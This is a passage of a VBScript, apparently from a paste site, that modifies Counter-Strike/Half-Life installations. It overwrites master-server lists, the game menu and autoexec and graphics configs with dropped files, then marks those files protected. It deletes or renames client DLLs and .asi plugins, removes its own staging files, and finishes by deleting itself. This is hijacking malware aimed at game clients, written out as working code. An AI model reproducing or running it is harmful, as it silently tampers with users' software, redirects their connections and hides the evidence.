  720.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
  721.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
  722.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
  723.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
  724.     FSO.CopyFile strMyPath & "mrvgamemenu.upk", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
  725.     FSO.CopyFile strMyPath & "bin", objFile.Drive & objFile.Path & "cstrike\"
  726.    
  727.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html"
  728.    
  729.    
  730.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\hw\geforce.cfg"
  731.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\hw\opengl.cfg"
  732.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\autoexec.cfg"
  733.     ' FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\userconfig.cfg"
  734.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "valve\hw\geforce.cfg"
  735.     FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "valve\hw\opengl.cfg"
  736.     Set FSO = nothing
  737.  
  738.     protectFile(objFile.Drive & objFile.Path & "config\MasterServers.vdf")
  739.     protectFile(objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf")
  740.     protectFile(objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf")
  741.     protectFile(objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf")
  742.     protectFile(objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res")
  743.     protectFile(objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf")
  744.     protectFile(objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf")
  745.     protectFile(objFile.Drive & objFile.Path & "valve\resource\UI\bl.res")
  746.     protectFile(objFile.Drive & objFile.Path & "revSrvBrowser.dll")
  747.     protectFile(objFile.Drive & objFile.Path & "cstrike\liblist.gam")
  748.  
  749.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
  750.     DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
  751.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"
  752.  
  753.     RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
  754.     RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
  755.     RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
  756.  
  757.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
  758.     DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
  759.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
  760.  
  761.     DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
  762.     RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
  763.    
  764.     DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
  765.     RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"
  766.  
  767. On Error Goto 0
  768.  
  769. Next
  770.  
  771.     DeleteAFile strMyPath & "mrv.upk"
  772.     DeleteAFile strMyPath & "mrvgamemenu.upk"
  773.     DeleteAFile strMyPath & "revSrvBrowser.dll.upk"
  774.     DeleteAFile strMyPath & "bin"
  775.     DeleteAFile strMyPath & "motd_temp.html"
  776.    
  777. Sub Up()
  778.  
  779. Set objShell = Wscript.CreateObject("Wscript.Shell")
  780. strPath = objShell.SpecialFolders("MyDocuments")
  781. strMyPath = strPath & "\"
  782.  
  783.  
  784. Dim filesys
  785. Set filesys = CreateObject("Scripting.FileSystemObject")
  786.  
  787. On Error Goto 0
  788.  
  789. End Sub
  790.  
  791. ' DELETE SELF
  792. On Error Resume Next
  793.     WScript.Sleep 1000
  794.     Set fileSystem = CreateObject("Scripting.FileSystemObject")
  795.     thisScript = Wscript.ScriptFullName
  796.     fileSystem.DeleteFile(thisScript)
  797. On Error Goto 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement